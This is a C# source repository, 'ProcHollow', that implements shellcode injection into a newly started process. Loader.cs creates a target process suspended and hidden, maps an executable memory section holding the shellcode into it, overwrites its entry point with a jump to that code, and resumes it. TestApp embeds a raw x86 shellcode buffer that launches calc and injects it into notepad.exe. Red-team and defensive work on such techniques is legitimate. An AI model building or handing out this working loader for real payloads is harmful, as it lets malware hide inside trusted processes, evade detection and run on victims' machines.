├── LICENSE ├── ProcHollow.sln ├── ShellLoader ├── Loader.cs ├── Properties │ └── AssemblyInfo.cs └── ShellLoader.csproj └── TestApp ├── App.config ├── Program.cs ├── Properties └── AssemblyInfo.cs └── TestApp.csproj /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2017, Aaron 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /ProcHollow.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26730.12 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestApp", "TestApp\TestApp.csproj", "{940FF99B-C2D3-4614-A9A1-EB6A7AD08858}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ShellLoader", "ShellLoader\ShellLoader.csproj", "{B8282841-0368-48B9-98EB-53BD511422D9}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Debug|ARM = Debug|ARM 14 | Debug|x64 = Debug|x64 15 | Debug|x86 = Debug|x86 16 | Release|Any CPU = Release|Any CPU 17 | Release|ARM = Release|ARM 18 | Release|x64 = Release|x64 19 | Release|x86 = Release|x86 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 23 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Debug|Any CPU.Build.0 = Debug|Any CPU 24 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Debug|ARM.ActiveCfg = Debug|Any CPU 25 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Debug|ARM.Build.0 = Debug|Any CPU 26 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Debug|x64.ActiveCfg = Debug|Any CPU 27 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Debug|x64.Build.0 = Debug|Any CPU 28 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Debug|x86.ActiveCfg = Debug|Any CPU 29 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Debug|x86.Build.0 = Debug|Any CPU 30 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Release|ARM.ActiveCfg = Release|Any CPU 33 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Release|ARM.Build.0 = Release|Any CPU 34 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Release|x64.ActiveCfg = Release|Any CPU 35 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Release|x64.Build.0 = Release|Any CPU 36 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Release|x86.ActiveCfg = Release|Any CPU 37 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858}.Release|x86.Build.0 = Release|Any CPU 38 | {B8282841-0368-48B9-98EB-53BD511422D9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 39 | {B8282841-0368-48B9-98EB-53BD511422D9}.Debug|Any CPU.Build.0 = Debug|Any CPU 40 | {B8282841-0368-48B9-98EB-53BD511422D9}.Debug|ARM.ActiveCfg = Debug|Any CPU 41 | {B8282841-0368-48B9-98EB-53BD511422D9}.Debug|ARM.Build.0 = Debug|Any CPU 42 | {B8282841-0368-48B9-98EB-53BD511422D9}.Debug|x64.ActiveCfg = Debug|Any CPU 43 | {B8282841-0368-48B9-98EB-53BD511422D9}.Debug|x64.Build.0 = Debug|Any CPU 44 | {B8282841-0368-48B9-98EB-53BD511422D9}.Debug|x86.ActiveCfg = Debug|Any CPU 45 | {B8282841-0368-48B9-98EB-53BD511422D9}.Debug|x86.Build.0 = Debug|Any CPU 46 | {B8282841-0368-48B9-98EB-53BD511422D9}.Release|Any CPU.ActiveCfg = Release|Any CPU 47 | {B8282841-0368-48B9-98EB-53BD511422D9}.Release|Any CPU.Build.0 = Release|Any CPU 48 | {B8282841-0368-48B9-98EB-53BD511422D9}.Release|ARM.ActiveCfg = Release|Any CPU 49 | {B8282841-0368-48B9-98EB-53BD511422D9}.Release|ARM.Build.0 = Release|Any CPU 50 | {B8282841-0368-48B9-98EB-53BD511422D9}.Release|x64.ActiveCfg = Release|Any CPU 51 | {B8282841-0368-48B9-98EB-53BD511422D9}.Release|x64.Build.0 = Release|Any CPU 52 | {B8282841-0368-48B9-98EB-53BD511422D9}.Release|x86.ActiveCfg = Release|Any CPU 53 | {B8282841-0368-48B9-98EB-53BD511422D9}.Release|x86.Build.0 = Release|Any CPU 54 | EndGlobalSection 55 | GlobalSection(SolutionProperties) = preSolution 56 | HideSolutionNode = FALSE 57 | EndGlobalSection 58 | GlobalSection(ExtensibilityGlobals) = postSolution 59 | SolutionGuid = {82E493BC-58E8-4793-84B6-6C54274E5952} 60 | EndGlobalSection 61 | EndGlobal 62 | -------------------------------------------------------------------------------- /ShellLoader/Loader.cs: -------------------------------------------------------------------------------- 1 | /*************** 2 | * 3 | * Simple Process Hollowing in C# 4 | * 5 | * @author: Aaron Bray 6 | * @github: github.com/ambray 7 | * 8 | **************/ 9 | 10 | using System; 11 | using System.Collections.Generic; 12 | using System.Runtime.InteropServices; 13 | 14 | namespace ShellLoader 15 | { 16 | public sealed class Loader 17 | { 18 | 19 | 20 | [StructLayout(LayoutKind.Sequential)] 21 | public struct PROCESS_INFORMATION 22 | { 23 | public IntPtr hProcess; 24 | public IntPtr hThread; 25 | public int dwProcessId; 26 | public int dwThreadId; 27 | } 28 | 29 | [StructLayout(LayoutKind.Sequential)] 30 | internal struct PROCESS_BASIC_INFORMATION 31 | { 32 | public IntPtr Reserved1; 33 | public IntPtr PebAddress; 34 | public IntPtr Reserved2; 35 | public IntPtr Reserved3; 36 | public IntPtr UniquePid; 37 | public IntPtr MoreReserved; 38 | } 39 | 40 | [StructLayout(LayoutKind.Sequential)] 41 | internal struct STARTUPINFO 42 | { 43 | uint cb; 44 | IntPtr lpReserved; 45 | IntPtr lpDesktop; 46 | IntPtr lpTitle; 47 | uint dwX; 48 | uint dwY; 49 | uint dwXSize; 50 | uint dwYSize; 51 | uint dwXCountChars; 52 | uint dwYCountChars; 53 | uint dwFillAttributes; 54 | uint dwFlags; 55 | ushort wShowWindow; 56 | ushort cbReserved; 57 | IntPtr lpReserved2; 58 | IntPtr hStdInput; 59 | IntPtr hStdOutput; 60 | IntPtr hStdErr; 61 | } 62 | 63 | public const uint PageReadWriteExecute = 0x40; 64 | public const uint PageReadWrite = 0x04; 65 | public const uint PageExecuteRead = 0x20; 66 | public const uint MemCommit = 0x00001000; 67 | public const uint SecCommit = 0x08000000; 68 | public const uint GenericAll = 0x10000000; 69 | public const uint CreateSuspended = 0x00000004; 70 | public const uint DetachedProcess = 0x00000008; 71 | public const uint CreateNoWindow = 0x08000000; 72 | 73 | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] 74 | private static extern int ZwCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile); 75 | 76 | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] 77 | private static extern int ZwMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot); 78 | 79 | [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] 80 | private static extern void GetSystemInfo(ref SYSTEM_INFO lpSysInfo); 81 | 82 | [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] 83 | private static extern IntPtr GetCurrentProcess(); 84 | 85 | [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] 86 | private static extern void CloseHandle(IntPtr handle); 87 | 88 | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] 89 | private static extern int ZwUnmapViewOfSection(IntPtr hSection, IntPtr address); 90 | 91 | [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] 92 | private static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation); 93 | 94 | [DllImport("kernel32.dll")] 95 | static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 96 | 97 | [DllImport("kernel32.dll", SetLastError = true)] 98 | private static extern uint ResumeThread(IntPtr hThread); 99 | 100 | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] 101 | private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen); 102 | 103 | [DllImport("kernel32.dll", SetLastError = true)] 104 | static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); 105 | 106 | 107 | [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)] 108 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumWritten); 109 | 110 | 111 | [DllImport("kernel32.dll")] 112 | static extern uint GetLastError(); 113 | 114 | [StructLayout(LayoutKind.Sequential)] 115 | public struct SYSTEM_INFO 116 | { 117 | public uint dwOem; 118 | public uint dwPageSize; 119 | public IntPtr lpMinAppAddress; 120 | public IntPtr lpMaxAppAddress; 121 | public IntPtr dwActiveProcMask; 122 | public uint dwNumProcs; 123 | public uint dwProcType; 124 | public uint dwAllocGranularity; 125 | public ushort wProcLevel; 126 | public ushort wProcRevision; 127 | } 128 | 129 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 130 | public struct LARGE_INTEGER 131 | { 132 | public uint LowPart; 133 | public int HighPart; 134 | } 135 | 136 | IntPtr section_; 137 | IntPtr localmap_; 138 | IntPtr remotemap_; 139 | IntPtr localsize_; 140 | IntPtr remotesize_; 141 | IntPtr pModBase_; 142 | IntPtr pEntry_; 143 | uint rvaEntryOffset_; 144 | uint size_; 145 | byte[] inner_; 146 | 147 | public uint round_to_page(uint size) 148 | { 149 | SYSTEM_INFO info = new SYSTEM_INFO(); 150 | 151 | GetSystemInfo(ref info); 152 | 153 | return (info.dwPageSize - size % info.dwPageSize) + size; 154 | } 155 | 156 | const int AttributeSize = 24; 157 | 158 | private bool nt_success(long v) 159 | { 160 | return (v >= 0); 161 | } 162 | 163 | public IntPtr GetCurrent() 164 | { 165 | return GetCurrentProcess(); 166 | } 167 | 168 | 169 | 170 | /*** 171 | * Maps a view of the current section into the process specified in procHandle. 172 | */ 173 | public KeyValuePair MapSection(IntPtr procHandle, uint protect, IntPtr addr) 174 | { 175 | IntPtr baseAddr = addr; 176 | IntPtr viewSize = (IntPtr)size_; 177 | 178 | 179 | var status = ZwMapViewOfSection(section_, procHandle, ref baseAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, protect); 180 | 181 | if (!nt_success(status)) 182 | throw new SystemException("[x] Something went wrong! " + status); 183 | 184 | return new KeyValuePair(baseAddr, viewSize); 185 | } 186 | 187 | /*** 188 | * Attempts to create an RWX section of the given size 189 | */ 190 | public bool CreateSection(uint size) 191 | { 192 | LARGE_INTEGER liVal = new LARGE_INTEGER(); 193 | size_ = round_to_page(size); 194 | liVal.LowPart = size_; 195 | 196 | var status = ZwCreateSection(ref section_, GenericAll, (IntPtr)0, ref liVal, PageReadWriteExecute, SecCommit, (IntPtr)0); 197 | 198 | return nt_success(status); 199 | } 200 | 201 | 202 | 203 | /*** 204 | * Maps a view of the section into the current process 205 | */ 206 | public void SetLocalSection(uint size) 207 | { 208 | 209 | var vals = MapSection(GetCurrent(), PageReadWriteExecute, IntPtr.Zero); 210 | if (vals.Key == (IntPtr)0) 211 | throw new SystemException("[x] Failed to map view of section!"); 212 | 213 | localmap_ = vals.Key; 214 | localsize_ = vals.Value; 215 | 216 | } 217 | 218 | /*** 219 | * Copies the shellcode buffer into the section 220 | */ 221 | public void CopyShellcode(byte[] buf) 222 | { 223 | var lsize = size_; 224 | if (buf.Length > lsize) 225 | throw new IndexOutOfRangeException("[x] Shellcode buffer is too long!"); 226 | 227 | unsafe 228 | { 229 | byte* p = (byte*)localmap_; 230 | 231 | for (int i = 0; i < buf.Length; i++) 232 | { 233 | p[i] = buf[i]; 234 | } 235 | } 236 | } 237 | 238 | /*** 239 | * Create a new process using the binary located at "path", starting up suspended. 240 | */ 241 | public PROCESS_INFORMATION StartProcess(string path) 242 | { 243 | STARTUPINFO startInfo = new STARTUPINFO(); 244 | PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); 245 | 246 | uint flags = CreateSuspended | DetachedProcess | CreateNoWindow; 247 | 248 | if (!CreateProcess((IntPtr)0, path, (IntPtr)0, (IntPtr)0, true, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo)) 249 | throw new SystemException("[x] Failed to create process!"); 250 | 251 | 252 | return procInfo; 253 | } 254 | 255 | const ulong PatchSize = 0x10; 256 | 257 | /*** 258 | * Constructs the shellcode patch for the new process entry point. It will build either an x86 or x64 payload based 259 | * on the current pointer size. 260 | * Ultimately, we will jump to the shellcode payload 261 | */ 262 | public KeyValuePair BuildEntryPatch(IntPtr dest) 263 | { 264 | int i = 0; 265 | IntPtr ptr; 266 | 267 | ptr = Marshal.AllocHGlobal((IntPtr)PatchSize); 268 | 269 | unsafe 270 | { 271 | 272 | var p = (byte*)ptr; 273 | byte[] tmp = null; 274 | 275 | if (IntPtr.Size == 4) 276 | { 277 | p[i] = 0xb8; // mov eax, 278 | i++; 279 | var val = (Int32)dest; 280 | tmp = BitConverter.GetBytes(val); 281 | } 282 | else 283 | { 284 | p[i] = 0x48; // rex 285 | i++; 286 | p[i] = 0xb8; // mov rax, 287 | i++; 288 | 289 | var val = (Int64)dest; 290 | tmp = BitConverter.GetBytes(val); 291 | } 292 | 293 | for (int j = 0; j < IntPtr.Size; j++) 294 | p[i + j] = tmp[j]; 295 | 296 | i += IntPtr.Size; 297 | p[i] = 0xff; 298 | i++; 299 | p[i] = 0xe0; // jmp [r|e]ax 300 | i++; 301 | } 302 | 303 | return new KeyValuePair(i, ptr); 304 | } 305 | 306 | 307 | /** 308 | * We will locate the entry point for the main module in the remote process for patching. 309 | */ 310 | private IntPtr GetEntryFromBuffer(byte[] buf) 311 | { 312 | IntPtr res = IntPtr.Zero; 313 | unsafe 314 | { 315 | fixed (byte* p = buf) 316 | { 317 | uint e_lfanew_offset = *((uint*)(p + 0x3c)); // e_lfanew offset in IMAGE_DOS_HEADERS 318 | 319 | byte* nthdr = (p + e_lfanew_offset); 320 | 321 | byte* opthdr = (nthdr + 0x18); // IMAGE_OPTIONAL_HEADER start 322 | 323 | ushort t = *((ushort*)opthdr); 324 | 325 | byte* entry_ptr = (opthdr + 0x10); // entry point rva 326 | 327 | var tmp = *((int*)entry_ptr); 328 | 329 | rvaEntryOffset_ = (uint)tmp; 330 | 331 | // rva -> va 332 | if (IntPtr.Size == 4) 333 | res = (IntPtr)(pModBase_.ToInt32() + tmp); 334 | else 335 | res = (IntPtr)(pModBase_.ToInt64() + tmp); 336 | 337 | } 338 | } 339 | 340 | pEntry_ = res; 341 | return res; 342 | } 343 | 344 | /** 345 | * Locate the module base addresss in the remote process, 346 | * read in the first page, and locate the entry point. 347 | */ 348 | public IntPtr FindEntry(IntPtr hProc) 349 | { 350 | var basicInfo = new PROCESS_BASIC_INFORMATION(); 351 | uint tmp = 0; 352 | 353 | var success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp); 354 | if (!nt_success(success)) 355 | throw new SystemException("[x] Failed to get process information!"); 356 | 357 | IntPtr readLoc = IntPtr.Zero; 358 | var addrBuf = new byte[IntPtr.Size]; 359 | if (IntPtr.Size == 4) 360 | { 361 | readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8); 362 | } 363 | else 364 | { 365 | readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16); 366 | } 367 | 368 | IntPtr nRead = IntPtr.Zero; 369 | 370 | if (!ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead) || nRead == IntPtr.Zero) 371 | throw new SystemException("[x] Failed to read process memory!"); 372 | 373 | if (IntPtr.Size == 4) 374 | readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0)); 375 | else 376 | readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); 377 | 378 | pModBase_ = readLoc; 379 | if (!ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead) || nRead == IntPtr.Zero) 380 | throw new SystemException("[x] Failed to read module start!"); 381 | 382 | return GetEntryFromBuffer(inner_); 383 | } 384 | 385 | /** 386 | * Map our shellcode into the remote (suspended) process, 387 | * locate and patch the entry point (so our code will run instead of 388 | * the original application), and resume execution. 389 | */ 390 | public void MapAndStart(PROCESS_INFORMATION pInfo) 391 | { 392 | 393 | var tmp = MapSection(pInfo.hProcess, PageReadWriteExecute, IntPtr.Zero); 394 | if (tmp.Key == (IntPtr)0 || tmp.Value == (IntPtr)0) 395 | throw new SystemException("[x] Failed to map section into target process!"); 396 | 397 | remotemap_ = tmp.Key; 398 | remotesize_ = tmp.Value; 399 | 400 | var patch = BuildEntryPatch(tmp.Key); 401 | 402 | try 403 | { 404 | 405 | var pSize = (IntPtr)patch.Key; 406 | IntPtr tPtr = new IntPtr(); 407 | 408 | if (!WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, pSize, out tPtr) || tPtr == IntPtr.Zero) 409 | throw new SystemException("[x] Failed to write patch to start location! " + GetLastError()); 410 | } 411 | finally 412 | { 413 | if(patch.Value != IntPtr.Zero) 414 | Marshal.FreeHGlobal(patch.Value); 415 | } 416 | 417 | var tbuf = new byte[0x1000]; 418 | var nRead = new IntPtr(); 419 | if (!ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead)) 420 | throw new SystemException("Failed!"); 421 | 422 | var res = ResumeThread(pInfo.hThread); 423 | if (res == unchecked((uint)-1)) 424 | throw new SystemException("[x] Failed to restart thread!"); 425 | 426 | } 427 | 428 | public IntPtr GetBuffer() 429 | { 430 | return localmap_; 431 | } 432 | ~Loader() 433 | { 434 | if (localmap_ != (IntPtr)0) 435 | ZwUnmapViewOfSection(section_, localmap_); 436 | 437 | } 438 | 439 | /** 440 | * Given a path to a binary and a buffer of shellcode, 441 | * 1.) start a new (supended) process 442 | * 2.) map a view of our shellcode buffer into it 443 | * 3.) patch the original process entry point 444 | * 4.) resume execution 445 | */ 446 | public void Load(string targetProcess, byte[] shellcode) 447 | { 448 | 449 | var pinf = StartProcess(targetProcess); 450 | FindEntry(pinf.hProcess); 451 | 452 | if (!CreateSection((uint)shellcode.Length)) 453 | throw new SystemException("[x] Failed to create new section!"); 454 | 455 | SetLocalSection((uint)shellcode.Length); 456 | 457 | CopyShellcode(shellcode); 458 | 459 | 460 | MapAndStart(pinf); 461 | 462 | CloseHandle(pinf.hThread); 463 | CloseHandle(pinf.hProcess); 464 | 465 | } 466 | 467 | public Loader() 468 | { 469 | section_ = new IntPtr(); 470 | localmap_ = new IntPtr(); 471 | remotemap_ = new IntPtr(); 472 | localsize_ = new IntPtr(); 473 | remotesize_ = new IntPtr(); 474 | inner_ = new byte[0x1000]; // Reserve a page of scratch space 475 | } 476 | } 477 | } 478 | -------------------------------------------------------------------------------- /ShellLoader/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("ShellLoader")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("ShellLoader")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("b8282841-0368-48b9-98eb-53bd511422d9")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /ShellLoader/ShellLoader.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B8282841-0368-48B9-98EB-53BD511422D9} 8 | Library 9 | Properties 10 | ShellLoader 11 | ShellLoader 12 | v3.5 13 | 512 14 | 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | true 25 | 26 | 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | true 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /TestApp/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /TestApp/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using ShellLoader; 6 | 7 | namespace TestApp 8 | { 9 | class Program 10 | { 11 | static void Main(string[] args) 12 | { 13 | 14 | /* Run Calc */ 15 | byte[] shellcode = new byte[193] { 16 | 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 17 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 18 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 19 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 20 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 21 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 22 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 23 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 24 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 25 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 26 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 27 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 28 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; 29 | 30 | var ldr = new Loader(); 31 | try 32 | { 33 | ldr.Load("notepad.exe", shellcode); 34 | } 35 | catch(Exception e) 36 | { 37 | Console.WriteLine("[x] Something went wrong!" + e.Message); 38 | } 39 | 40 | //Console.ReadKey(); 41 | 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /TestApp/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("TestApp")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("TestApp")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("940ff99b-c2d3-4614-a9a1-eb6a7ad08858")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /TestApp/TestApp.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {940FF99B-C2D3-4614-A9A1-EB6A7AD08858} 8 | Exe 9 | TestApp 10 | TestApp 11 | v3.5 12 | 512 13 | true 14 | 15 | 16 | 17 | x86 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | true 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | {b8282841-0368-48b9-98eb-53bd511422d9} 54 | ShellLoader 55 | 56 | 57 | 58 | --------------------------------------------------------------------------------